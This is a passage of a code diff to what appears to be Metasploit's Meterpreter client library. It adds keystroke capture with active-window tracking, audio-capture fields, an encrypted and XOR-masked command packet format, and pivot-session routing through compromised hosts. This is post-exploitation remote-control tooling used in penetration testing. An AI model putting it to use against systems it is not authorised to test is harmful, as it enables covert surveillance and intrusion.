-    # ppid.  Cut columns from the list if they aren't there.  It is conceivable
-    # that processes might have different columns, but for now assume that the
-    # first one is representative.
-    cols.delete_if { |c| !( first.has_key?(c.downcase) ) or first[c.downcase].nil? }
+    column_headers = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ]
+    column_headers.delete_if do |h|
+      none? { |process| process.has_key?(h.downcase) } ||
+      all? { |process| process[h.downcase].nil? }
+    end
 
     opts = {
       'Header' => 'Process List',
       'Indent' => 1,
-      'Columns' => cols
+      'Columns' => column_headers
     }.merge(opts)
 
     tbl = Rex::Text::Table.new(opts)
-    each { |process|
-      tbl << cols.map { |c|
-        col = c.downcase
+    each do |process|
+      tbl << column_headers.map do |header|
+        col = header.downcase
+        next unless process.keys.any? { |process_header| process_header == col }
         val = process[col]
         if col == 'session'
           val == 0xFFFFFFFF ? '' : val.to_s
         else
           val
         end
-      }.compact
-    }
+      end
+    end
 
     tbl
   end
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb
index 2fdf369508..5a00e8a111 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb
@@ -17,7 +17,7 @@ TLV_TYPE_INHERIT            = TLV_META_TYPE_BOOL    |  601
 TLV_TYPE_PROCESS_HANDLE     = TLV_META_TYPE_QWORD   |  630
 TLV_TYPE_THREAD_HANDLE      = TLV_META_TYPE_QWORD   |  631
 TLV_TYPE_PRIVILEGE          = TLV_META_TYPE_STRING  |  632
-
+ 
 ##
 #
 # Fs
@@ -201,6 +201,7 @@ TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH = TLV_META_TYPE_UINT   | 3009
 TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER = TLV_META_TYPE_STRING | 3010
 TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH = TLV_META_TYPE_UINT   | 3011
 TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER = TLV_META_TYPE_STRING | 3012
+TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW       = TLV_META_TYPE_BOOL   | 3013
 
 ##
 #
@@ -248,8 +249,10 @@ TLV_TYPE_WEBCAM_NAME        = TLV_META_TYPE_STRING  | (TLV_EXTENSIONS + 4)
 #
 ##
 
-TLV_TYPE_AUDIO_DURATION     = TLV_META_TYPE_UINT    | (TLV_EXTENSIONS + 1)
-TLV_TYPE_AUDIO_DATA         = TLV_META_TYPE_RAW     | (TLV_EXTENSIONS + 2)
+TLV_TYPE_AUDIO_DURATION       = TLV_META_TYPE_UINT    | (TLV_EXTENSIONS + 10)
+TLV_TYPE_AUDIO_DATA           = TLV_META_TYPE_RAW     | (TLV_EXTENSIONS + 11)
+TLV_TYPE_AUDIO_INTERFACE_ID   = TLV_META_TYPE_UINT    | (TLV_EXTENSIONS + 12)
+TLV_TYPE_AUDIO_INTERFACE_NAME = TLV_META_TYPE_STRING  | (TLV_EXTENSIONS + 13)
 
 end; end; end; end; end
 
diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb
index 97c6e729f0..d5ab24fe50 100644
--- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb
+++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb
@@ -207,8 +207,9 @@ class UI < Rex::Post::UI
   #
   # Start the keyboard sniffer
   #
-  def keyscan_start
+  def keyscan_start(trackwindow=false)
     request  = Packet.create_request('stdapi_ui_start_keyscan')
+    request.add_tlv( TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW, trackwindow )
     response = client.send_request(request)
     return true
   end
diff --git a/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb b/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb
index fc3fb8c9a8..6c455e04ea 100644
--- a/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb
+++ b/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb
@@ -5,7 +5,7 @@ module Meterpreter
 module Extensions
 module Winpmem
   TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
-  TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2)
+  TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_QWORD | (TLV_EXTENSIONS + 2)
 end
 end
 end
diff --git a/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb b/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb
index 72b8a86af4..75baaa32e0 100644
--- a/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb
+++ b/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb
@@ -43,8 +43,10 @@ class Winpmem < Extension
     channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
 
     raise Exception, "We did not get a channel back!" if channel_id.nil?
-    #Open the compressed Channel
-    channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS)
+
+    # Open the compressed Channel
+    channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem",
+      CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS)
     return memory_size, response_code, channel
   end
 end
diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb
index 1e70ea0f13..8c81169242 100644
--- a/lib/rex/post/meterpreter/packet.rb
+++ b/lib/rex/post/meterpreter/packet.rb
@@ -1,4 +1,5 @@
 # -*- coding: binary -*-
+require 'openssl'
 
 module Rex
 module Post
@@ -105,9 +106,21 @@ TLV_TYPE_TRANS_GROUP         = TLV_META_TYPE_GROUP  | 441
 
 TLV_TYPE_MACHINE_ID          = TLV_META_TYPE_STRING | 460
 TLV_TYPE_UUID                = TLV_META_TYPE_RAW    | 461
+TLV_TYPE_SESSION_GUID        = TLV_META_TYPE_RAW    | 462
+
+TLV_TYPE_RSA_PUB_KEY         = TLV_META_TYPE_STRING | 550
+TLV_TYPE_SYM_KEY_TYPE        = TLV_META_TYPE_UINT   | 551
+TLV_TYPE_SYM_KEY             = TLV_META_TYPE_RAW    | 552
+TLV_TYPE_ENC_SYM_KEY         = TLV_META_TYPE_RAW    | 553
+
+#
+# Pivots
+#
+TLV_TYPE_PIVOT_ID              = TLV_META_TYPE_RAW    |  650
+TLV_TYPE_PIVOT_STAGE_DATA      = TLV_META_TYPE_RAW    |  651
+TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_META_TYPE_UINT   |  652
+TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING |  653
 
-TLV_TYPE_CIPHER_NAME         = TLV_META_TYPE_STRING | 500
-TLV_TYPE_CIPHER_PARAMETERS   = TLV_META_TYPE_GROUP  | 501
 
 #
 # Core flags
@@ -116,6 +129,12 @@ LOAD_LIBRARY_FLAG_ON_DISK   = (1 << 0)
 LOAD_LIBRARY_FLAG_EXTENSION = (1 << 1)
 LOAD_LIBRARY_FLAG_LOCAL     = (1 << 2)
 
+#
+# Sane defaults
+#
+GUID_SIZE = 16
+NULL_GUID = "\x00" * GUID_SIZE
+
 ###
 #
 # Base TLV (Type-Length-Value) class
@@ -124,6 +143,8 @@ LOAD_LIBRARY_FLAG_LOCAL     = (1 << 2)
 class Tlv
   attr_accessor :type, :value, :compress
 
+  HEADER_SIZE = 8
+
   ##
   #
   # Constructor
@@ -215,6 +236,16 @@ class Tlv
       when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT"
       when TLV_TYPE_MACHINE_ID; "MACHINE-ID"
       when TLV_TYPE_UUID; "UUID"
+      when TLV_TYPE_SESSION_GUID; "SESSION-GUID"
+      when TLV_TYPE_RSA_PUB_KEY; "RSA-PUB-KEY"
+      when TLV_TYPE_SYM_KEY_TYPE; "SYM-KEY-TYPE"
+      when TLV_TYPE_SYM_KEY; "SYM-KEY"
+      when TLV_TYPE_ENC_SYM_KEY; "ENC-SYM-KEY"
+
+      when TLV_TYPE_PIVOT_ID; "PIVOT-ID"
+      when TLV_TYPE_PIVOT_STAGE_DATA; "PIVOT-STAGE-DATA"
+      when TLV_TYPE_PIVOT_STAGE_DATA_SIZE; "PIVOT-STAGE-DATA-SIZE"
+      when TLV_TYPE_PIVOT_NAMED_PIPE_NAME; "PIVOT-NAMED-PIPE-NAME"
 
       #when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
       #when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'
@@ -300,7 +331,7 @@ class Tlv
     end
 
     # check if the tlv is to be compressed...
-    if( @compress )
+    if @compress
       raw_uncompressed = raw
       # compress the raw data
       raw_compressed = Rex::Text.zlib_deflate( raw_uncompressed )
@@ -316,7 +347,7 @@ class Tlv
       end
     end
 
-    return [raw.length + 8, self.type].pack("NN") + raw
+    [raw.length + HEADER_SIZE, self.type].pack("NN") + raw
   end
 
   #
@@ -335,16 +366,16 @@ class Tlv
       # tlv type to its origional, allowing for transparent data compression.
       self.type = self.type ^ TLV_META_TYPE_COMPRESSED
       # decompress the compressed data (skipping the length and type DWORD's)
-      raw_decompressed = Rex::Text.zlib_inflate( raw[8..length-1] )
-      # update the length to reflect the decompressed data length (+8 for the length and type DWORD's)
-      length = raw_decompressed.length + 8
+      raw_decompressed = Rex::Text.zlib_inflate( raw[HEADER_SIZE..length-1] )
+      # update the length to reflect the decompressed data length (+HEADER_SIZE for the length and type DWORD's)
+      length = raw_decompressed.length + HEADER_SIZE
       # update the raw buffer with the new length, decompressed data and updated type.
       raw = [length, self.type].pack("NN") + raw_decompressed
     end
 
     if (self.type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
       if (raw.length > 0)
-        self.value = raw[8..length-2]
+        self.value = raw[HEADER_SIZE..length-2]
       else
         self.value = nil
       end
@@ -362,23 +393,24 @@ class Tlv
         self.value = false
       end
     else
-      self.value = raw[8..length-1]
+      self.value = raw[HEADER_SIZE..length-1]
     end
 
-    return length;
+    length
   end
 
   protected
 
-  def htonq( value )
-    if( [1].pack( 's' ) == [1].pack( 'n' ) )
+  def htonq(value)
+    if [1].pack( 's' ) == [1].pack('n')
       return value
+    else
+      [value].pack('Q<').reverse.unpack('Q<').first
     end
-    return [ value ].pack( 'Q<' ).reverse.unpack( 'Q<' ).first
   end
 
-  def ntohq( value )
-    return htonq( value )
+  def ntohq(value)
+    htonq(value)
   end
 
 end
@@ -404,7 +436,7 @@ class GroupTlv < Tlv
   def initialize(type)
     super(type)
 
-    self.tlvs = [ ]
+    self.tlvs = []
   end
 
   ##
@@ -445,8 +477,8 @@ class GroupTlv < Tlv
   # Returns an array of TLVs for the given type.
   #
   def get_tlvs(type)
-    if (type == TLV_TYPE_ANY)
-      return self.tlvs
+    if type == TLV_TYPE_ANY
+      self.tlvs
     else
       type_tlvs = []
 
@@ -456,7 +488,7 @@ class GroupTlv < Tlv
         end
       }
 
-      return type_tlvs
+      type_tlvs
     end
   end
 
@@ -472,7 +504,7 @@ class GroupTlv < Tlv
   def add_tlv(type, value = nil, replace = false, compress=false)
 
     # If we should replace any TLVs with the same type...remove them first
-    if (replace)
+    if replace
       each(type) { |tlv|
         if (tlv.type == type)
           self.tlvs.delete(tlv)
@@ -488,14 +520,14 @@ class GroupTlv < Tlv
 
     self.tlvs << tlv
 
-    return tlv
+    tlv
   end
 
   #
   # Adds zero or more TLVs to the packet.
   #
   def add_tlvs(tlvs)
-    if (tlvs != nil)
+    if tlvs
       tlvs.each { |tlv|
         add_tlv(tlv['type'], tlv['value'])
       }
@@ -508,11 +540,12 @@ class GroupTlv < Tlv
   def get_tlv(type, index = 0)
     type_tlvs = get_tlvs(type)
 
-    if (type_tlvs.length > index)
-      return type_tlvs[index]
+    if type_tlvs.length > index
+      type_tlvs[index]
+    else
+      nil
     end
 
-    return nil
   end
 
   #
@@ -521,7 +554,7 @@ class GroupTlv < Tlv
   def get_tlv_value(type, index = 0)
     tlv = get_tlv(type, index)
 
-    return (tlv != nil) ? tlv.value : nil
+    (tlv != nil) ? tlv.value : nil
   end
 
   #
@@ -535,7 +568,7 @@ class GroupTlv < Tlv
   # Checks to see if the container has a TLV of a given type.
   #
   def has_tlv?(type)
-    return get_tlv(type) != nil
+    get_tlv(type) != nil
   end
 
   #
@@ -562,7 +595,7 @@ class GroupTlv < Tlv
       raw << tlv.to_r
     }
 
-    return [raw.length + 8, self.type].pack("NN") + raw
+    [raw.length + HEADER_SIZE, self.type].pack("NN") + raw
   end
 
   #
@@ -570,19 +603,19 @@ class GroupTlv < Tlv
   # TLVs.
   #
   def from_r(raw)
-    offset = 8
+    offset = HEADER_SIZE
 
     # Reset the TLVs array
     self.tlvs = []
     self.type = raw.unpack("NN")[1]
 
     # Enumerate all of the TLVs
-    while (offset < raw.length-1)
+    while offset < raw.length-1
 
       tlv = nil
 
       # Get the length and type
-      length, type = raw[offset..offset+8].unpack("NN")
+      length, type = raw[offset..offset+HEADER_SIZE].unpack("NN")
 
       if (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP)
         tlv = GroupTlv.new(type)
@@ -609,6 +642,49 @@ end
 ###
 class Packet < GroupTlv
   attr_accessor :created_at
+  attr_accessor :raw
+  attr_accessor :session_guid
+  attr_accessor :encrypt_flags
+  attr_accessor :length
+
+  ##
+  #
+  # The Packet container itself has a custom header that is slightly different to the
+  # typical TLV packets. The header contains the following:
+  #
+  # XOR KEY        - 4 bytes
+  # Session GUID   - 16 bytes
+  # Encrypt flags  - 4 bytes
+  # Packet length  - 4 bytes
+  # Packet type    - 4 bytes
+  # Packet data    - X bytes
+  #
+  # If the encrypt flags are zero, then the Packet data is just straight TLV values as
+  # per the normal TLV packet structure.
+  #
+  # If the encrypt flags are non-zer, then the Packet data is encrypted based on the scheme.
+  #
+  # Flag == 1 (AES256)
+  #    IV             - 16 bytes
+  #    Encrypted data - X bytes
+  #
+  # The key that is required to decrypt the data is stored alongside the session data,
+  # and hence when the packet is initially parsed, only the header is accessed. The
+  # packet itself will need to be decrypted on the fly at the point that it is required
+  # and at that point the decryption key needs to be provided.
+  #
+  ###
+
+  XOR_KEY_SIZE = 4
+  ENCRYPTED_FLAGS_SIZE = 4
+  PACKET_LENGTH_SIZE = 4
+  PACKET_TYPE_SIZE = 4
+  PACKET_HEADER_SIZE = XOR_KEY_SIZE + GUID_SIZE + ENCRYPTED_FLAGS_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE
+
+  AES_IV_SIZE = 16
+
+  ENC_FLAG_NONE   = 0x0
+  ENC_FLAG_AES256 = 0x1
 
   ##
   #
@@ -620,7 +696,7 @@ class Packet < GroupTlv
   # Creates a request with the supplied method.
   #
   def Packet.create_request(method = nil)
-    return Packet.new(PACKET_TYPE_REQUEST, method)
+    Packet.new(PACKET_TYPE_REQUEST, method)
   end
 
   #
@@ -638,7 +714,7 @@ class Packet < GroupTlv
       method = request.method
     end
 
-    return Packet.new(response_type, method)
+    Packet.new(response_type, method)
   end
 
   ##
@@ -655,11 +731,12 @@ class Packet < GroupTlv
   def initialize(type = nil, method = nil)
     super(type)
 
-    if (method)
+    if method
       self.method = method
     end
 
     self.created_at = ::Time.now
+    self.raw = ''
 
     # If it's a request, generate a random request identifier
     if ((type == PACKET_TYPE_REQUEST) ||
@@ -672,20 +749,99 @@ class Packet < GroupTlv
     end
   end
 
+  def add_raw(bytes)
+    self.raw << bytes
+  end
+
+  def raw_bytes_required
+    # if we have the xor bytes and length ...
+    if self.raw.length >= PACKET_HEADER_SIZE
+      # return a value based on the length of the data indicated by
+      # the header
+      xor_key = self.raw.unpack('a4')[0]
+      decoded_bytes = xor_bytes(xor_key, raw[0, PACKET_HEADER_SIZE])
+      _, _, _, length, _ = decoded_bytes.unpack('a4a16NNN')
+      length + PACKET_HEADER_SIZE - HEADER_SIZE - self.raw.length
+    else
+      # Otherwise ask for the remaining bytes for the metadata to get the packet length
+      # So we can do the rest of the calculation next time
+      PACKET_HEADER_SIZE - self.raw.length
+    end
+  end
+
+  def aes_encrypt(key, data)
+    # Create the required cipher instance
+    aes = OpenSSL::Cipher.new('AES-256-CBC')
+    # Generate a truly random IV
+    iv = aes.random_iv
+
+    # set up the encryption
+    aes.encrypt
+    aes.key = key
+    aes.iv = iv
+
+    # encrypt and return the IV along with the result
+    return iv, aes.update(data) + aes.final
+  end
+
+  def aes_decrypt(key, iv, data)
+    # Create the required cipher instance
+    aes = OpenSSL::Cipher.new('AES-256-CBC')
+    # Generate a truly random IV
+
+    # set up the encryption
+    aes.decrypt
+    aes.key = key
+    aes.iv = iv
+
+    # decrypt!
+    aes.update(data) + aes.final
+  end
+
   #
   # Override the function that creates the raw byte stream for
   # sending so that it generates an XOR key, uses it to scramble
   # the serialized TLV content, and then returns the key plus the
   # scrambled data as the payload.
   #
-  def to_r
-    raw = super
-    xor_key = rand(254) + 1
-    xor_key |= (rand(254) + 1) << 8
-    xor_key |= (rand(254) + 1) << 16
-    xor_key |= (rand(254) + 1) << 24
-    result = [xor_key].pack('N') + xor_bytes(xor_key, raw)
-    result
+  def to_r(session_guid = nil, key = nil)
+    xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr
+
+    raw = (session_guid || NULL_GUID).dup
+    tlv_data = GroupTlv.instance_method(:to_r).bind(self).call
+
+    if key && key[:key] && key[:type] == ENC_FLAG_AES256
+      # encrypt the data, but not include the length and type
+      iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1])
+      # now manually add the length/type/iv/ciphertext
+      raw << [ENC_FLAG_AES256, iv.length + ciphertext.length + HEADER_SIZE, self.type, iv, ciphertext].pack('NNNA*A*')
+    else
+      raw << [ENC_FLAG_NONE, tlv_data].pack('NA*')
+    end
+
+    # return the xor'd result with the key
+    xor_key + xor_bytes(xor_key, raw)
+  end
+
+  #
+  # Decrypt the packet based on the content of the encryption flags.
+  #
+  def decrypt_packet(key, encrypt_flags, data)
+    # TODO: throw an error if the expected encryption isn't the same as the given
+    #       as this could be an indication of hijacking or side-channel packet addition
+    #       as highlighted by Justin Steven on github.
+    if key && key[:key] && key[:type] && encrypt_flags == ENC_FLAG_AES256 && encrypt_flags == key[:type]
+      iv = data[0, AES_IV_SIZE]
+      aes_decrypt(key[:key], iv, data[iv.length..-1])
+    else
+      data
+    end
+  end
+
+  def parse_header!
+    xor_key = self.raw.unpack('a4')[0]
+    data = xor_bytes(xor_key, self.raw[0..PACKET_HEADER_SIZE])
+    _, self.session_guid, self.encrypt_flags, self.length, self.type = data.unpack('a4a16NNN')
   end
 
   #
@@ -694,17 +850,20 @@ class Packet < GroupTlv
   # passing it on to the default functionality that can parse
   # the TLV values.
   #
-  def from_r(bytes)
-    xor_key = bytes[0,4].unpack('N')[0]
-    super(xor_bytes(xor_key, bytes[4, bytes.length]))
+  def from_r(key=nil)
+    self.parse_header!
+    xor_key = self.raw.unpack('a4')[0]
+    data = xor_bytes(xor_key, self.raw[PACKET_HEADER_SIZE..-1])
+    raw = decrypt_packet(key, self.encrypt_flags, data)
+    super([self.length, self.type, raw].pack('NNA*'))
   end
 
   #
-  # Xor a set of bytes with a given DWORD xor key.
+  # Xor a set of bytes with a given XOR key.
   #
   def xor_bytes(xor_key, bytes)
     result = ''
-    bytes.bytes.zip([xor_key].pack('V').bytes.cycle).each do |b|
+    bytes.bytes.zip(xor_key.bytes.cycle).each do |b|
       result << (b[0].ord ^ b[1].ord).chr
     end
     result
diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb
index cb4a95702b..3699eaea1f 100644
--- a/lib/rex/post/meterpreter/packet_dispatcher.rb
+++ b/lib/rex/post/meterpreter/packet_dispatcher.rb
@@ -57,6 +57,11 @@ module PacketDispatcher
   # active migration. Unused if this is a passive dispatcher
   attr_accessor :comm_mutex
 
+  # The guid that identifies an active Meterpreter session
+  attr_accessor :session_guid
+
+  # This contains the key material used for TLV encryption
+  attr_accessor :tlv_enc_key
 
   # Passive Dispatching
   #
@@ -71,10 +76,10 @@ module PacketDispatcher
   attr_accessor :recv_queue
 
   def initialize_passive_dispatcher
-    self.send_queue = []
-    self.recv_queue = []
-    self.waiters    = []
-    self.alive      = true
+    self.send_queue   = []
+    self.recv_queue   = []
+    self.waiters      = []
+    self.alive        = true
 
     # Ensure that there is only one leading and trailing slash on the URI
     resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/"
@@ -131,7 +136,8 @@ module PacketDispatcher
       resp.body = ""
       if req.body and req.body.length > 0
         packet = Packet.new(0)
-        packet.from_r(req.body)
+        packet.add_raw(req.body)
+        packet.parse_header!
         dispatch_inbound_packet(packet)
       end
       cli.send_response(resp)
@@ -151,13 +157,28 @@ module PacketDispatcher
   #
   # Sends a packet without waiting for a response.
   #
-  def send_packet(packet, completion_routine = nil, completion_param = nil)
-    if (completion_routine)
-      add_response_waiter(packet, completion_routine, completion_param)
+  def send_packet(packet, opts={})
+    if self.pivot_session
+      opts[:session_guid] = self.session_guid
+      opts[:tlv_enc_key] = self.tlv_enc_key
+      return self.pivot_session.send_packet(packet, opts)
+    end
+
+    if opts[:completion_routine]
+      add_response_waiter(packet, opts[:completion_routine], opts[:completion_param])
+    end
+
+    session_guid = self.session_guid
+    tlv_enc_key = self.tlv_enc_key
+
+    # if a session guid is provided, use all the details provided
+    if opts[:session_guid]
+      session_guid = opts[:session_guid]
+      tlv_enc_key = opts[:tlv_enc_key]
     end
 
     bytes = 0
-    raw   = packet.to_r
+    raw   = packet.to_r(session_guid, tlv_enc_key)
     err   = nil
 
     # Short-circuit send when using a passive dispatcher
@@ -166,8 +187,7 @@ module PacketDispatcher
       return raw.size # Lie!
     end
 
-    if (raw)
-
+    if raw
       self.comm_mutex.synchronize do
         begin
           bytes = self.sock.write(raw)
@@ -284,6 +304,24 @@ module PacketDispatcher
   # Reception
   #
   ##
+
+  def pivot_keepalive_start
+    return unless self.send_keepalives
+    self.receiver_thread = Rex::ThreadFactory.spawn("PivotKeepalive", false) do
+      while self.alive
+        begin
+          Rex::sleep(PING_TIME)
+          keepalive
+        rescue ::Exception => e
+          dlog("Exception caught in pivot keepalive: #{e.class}: #{e}", 'meterpreter', LEV_1)
+          dlog("Call stack: #{e.backtrace.join("\n")}", 'meterpreter', LEV_2)
+          self.alive = false
+          break
+        end
+      end
+    end
+  end
+
   #
   # Monitors the PacketDispatcher's sock for data in its own
   # thread context and parsers all inbound packets.
@@ -293,6 +331,9 @@ module PacketDispatcher
     # Skip if we are using a passive dispatcher
     return if self.passive_service
 
+    # redirect to pivot keepalive if we're a pivot session
+    return pivot_keepalive_start if self.pivot_session
+
     self.comm_mutex = ::Mutex.new
 
     self.waiters = []
@@ -365,7 +406,7 @@ module PacketDispatcher
         backlog.each do |pkt|
 
           begin
-          if ! dispatch_inbound_packet(pkt)
+          unless dispatch_inbound_packet(pkt)
             # Keep Packets in the receive queue until a handler is registered
             # for them. Packets will live in the receive queue for up to
             # PACKET_TIMEOUT seconds, after which they will be dropped.
@@ -420,19 +461,26 @@ module PacketDispatcher
   # once a full packet has been received.
   #
   def receive_packet
-    return parser.recv(self.sock)
+    packet = parser.recv(self.sock)
+    if packet
+      packet.parse_header!
+      if self.session_guid == NULL_GUID
+        self.session_guid = packet.session_guid.dup
+      end
+    end
+    packet
   end
 
   #
   # Stop the monitor
   #
   def monitor_stop
-    if(self.receiver_thread)
+    if self.receiver_thread
       self.receiver_thread.kill
       self.receiver_thread = nil
     end
 
-    if(self.dispatcher_thread)
+    if self.dispatcher_thread
       self.dispatcher_thread.kill
       self.dispatcher_thread = nil
     end
@@ -448,6 +496,10 @@ module PacketDispatcher
   # Adds a waiter association with the supplied request packet.
   #
   def add_response_waiter(request, completion_routine = nil, completion_param = nil)
+    if self.pivot_session
+      return self.pivot_session.add_response_waiter(request, completion_routine, completion_param)
+    end
+
     waiter = PacketResponseWaiter.new(request.rid, completion_routine, completion_param)
 
     self.waiters << waiter
@@ -460,6 +512,10 @@ module PacketDispatcher
   # if anyone.
   #
   def notify_response_waiter(response)
+    if self.pivot_session
+      return self.pivot_session.notify_response_waiter(response)
+    end
+
     handled = false
     self.waiters.each() { |waiter|
       if (waiter.waiting_for?(response))
@@ -476,7 +532,11 @@ module PacketDispatcher
   # Removes a waiter from the list of waiters.
   #
   def remove_response_waiter(waiter)
-    self.waiters.delete(waiter)
+    if self.pivot_session
+      self.pivot_session.remove_response_waiter(waiter)
+    else
+      self.waiters.delete(waiter)
+    end
   end
 
   ##
@@ -501,15 +561,21 @@ module PacketDispatcher
   def dispatch_inbound_packet(packet)
     handled = false
 
+    pivot_session = self.find_pivot_session(packet.session_guid)
+
+    tlv_enc_key = self.tlv_enc_key
+    tlv_enc_key = pivot_session.pivoted_session.tlv_enc_key if pivot_session
+
+    packet.from_r(tlv_enc_key)
+
     # Update our last reply time
     self.last_checkin = Time.now
+    pivot_session.pivoted_session.last_checkin = self.last_checkin if pivot_session
 
     # If the packet is a response, try to notify any potential
     # waiters
-    if packet.response?
-      if (notify_response_waiter(packet))
-        return true
-      end
+    if packet.response? && notify_response_waiter(packet)
+      return true
     end
 
     # Enumerate all of the inbound packet handlers until one handles
diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb
index 5b33c7b7c5..28bd1ef584 100644
--- a/lib/rex/post/meterpreter/packet_parser.rb
+++ b/lib/rex/post/meterpreter/packet_parser.rb
@@ -12,17 +12,10 @@ module Meterpreter
 ###
 class PacketParser
 
-  # 4 byte xor
-  # 4 byte length
-  # 4 byte type
-  HEADER_SIZE = 12
-
   #
-  # Initializes the packet parser context with an optional cipher.
+  # Initializes the packet parser context.
   #
-  def initialize(cipher = nil)
-    self.cipher = cipher
-
+  def initialize
     reset
   end
 
@@ -30,71 +23,35 @@ class PacketParser
   # Resets the parser state so that a new packet can begin being parsed.
   #
   def reset
-    self.raw = ''
-    self.hdr_length_left = HEADER_SIZE
-    self.payload_length_left = 0
+    self.packet = Packet.new(0)
   end
 
   #
   # Reads data from the wire and parse as much of the packet as possible.
   #
   def recv(sock)
-    # Create a typeless packet
-    packet = Packet.new(0)
+    bytes_left = self.packet.raw_bytes_required
 
-    if (self.hdr_length_left > 0)
-      buf = sock.read(self.hdr_length_left)
-
-      if (buf)
-        self.raw << buf
-
-        self.hdr_length_left -= buf.length
-      else
-        raise EOFError
-      end
-
-      # If we've finished reading the header, set the
-      # payload length left to the number of bytes
-      # specified in the length
-      if (self.hdr_length_left == 0)
-        xor_key = raw[0, 4].unpack('N')[0]
-        length_bytes = packet.xor_bytes(xor_key, raw[4, 4])
-        # header size doesn't include the xor key, which is always tacked on the front
-        self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4)
-      end
-    end
-    if (self.payload_length_left > 0)
-      buf = sock.read(self.payload_length_left)
-
-      if (buf)
-        self.raw << buf
-
-        self.payload_length_left -= buf.length
+    if bytes_left > 0
+      raw = sock.read(bytes_left)
+      if raw
+        self.packet.add_raw(raw)
       else
         raise EOFError
       end
     end
 
-    # If we've finished reading the entire packet
-    if ((self.hdr_length_left == 0) &&
-        (self.payload_length_left == 0))
-
-      # TODO: cipher decryption
-      if (cipher)
-      end
-
-      # Deserialize the packet from the raw buffer
-      packet.from_r(self.raw)
-
-      # Reset our state
+    if self.packet.raw_bytes_required == 0
+      packet = self.packet
       reset
-
       return packet
     end
+
+    nil
   end
 
 protected
-  attr_accessor :cipher, :raw, :hdr_length_left, :payload_length_left  # :nodoc:
+  attr_accessor :cipher, :packet    # :nodoc:
 
 end
 
diff --git a/lib/rex/post/meterpreter/pivot.rb b/lib/rex/post/meterpreter/pivot.rb
new file mode 100644
index 0000000000..82814c8ce5
--- /dev/null
+++ b/lib/rex/post/meterpreter/pivot.rb
@@ -0,0 +1,163 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/inbound_packet_handler'
+require 'securerandom'
+
+module Rex
+module Post
+module Meterpreter
+
+class PivotListener
+  attr_accessor :id
+
+  attr_accessor :session_class
+
+  attr_accessor :url
+
+  attr_accessor :stage
+
+  def initialize(session_class, url, stage)
+    self.id = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
+    self.session_class = session_class
+    self.url = url
+    self.stage = stage
+  end
+
+  def to_row
+    [self.id.unpack('H*')[0], url, stage]
+  end
+end
+
+class Pivot
+
+  #
+  # The associated meterpreter client instance
+  #
+  attr_accessor :client
+
+  attr_accessor :pivoted_session
+
+  # Class modifications to support global pivot message
+  # dispatching without having to register a per-instance handler
+  class << self
+    include Rex::Post::Meterpreter::InboundPacketHandler
+
+    # Class request handler for all channels that dispatches requests
+    # to the appropriate class instance's DIO handler
+    def request_handler(client, packet)
+      if packet.method == 'core_pivot_session_new'
+        session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
+        listener_id = packet.get_tlv_value(TLV_TYPE_PIVOT_ID)
+        client.add_pivot_session(Pivot.new(client, session_guid, listener_id))
+      elsif packet.method == 'core_pivot_session_died'
+        session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
+        pivot = client.find_pivot_session(session_guid)
+        if pivot
+          pivot.pivoted_session.kill('Died')
+          client.remove_pivot_session(session_guid)
+        end
+      end
+      true
+    end
+  end
+
+  def Pivot.get_listeners(client)
+    client.pivot_listeners
+  end
+
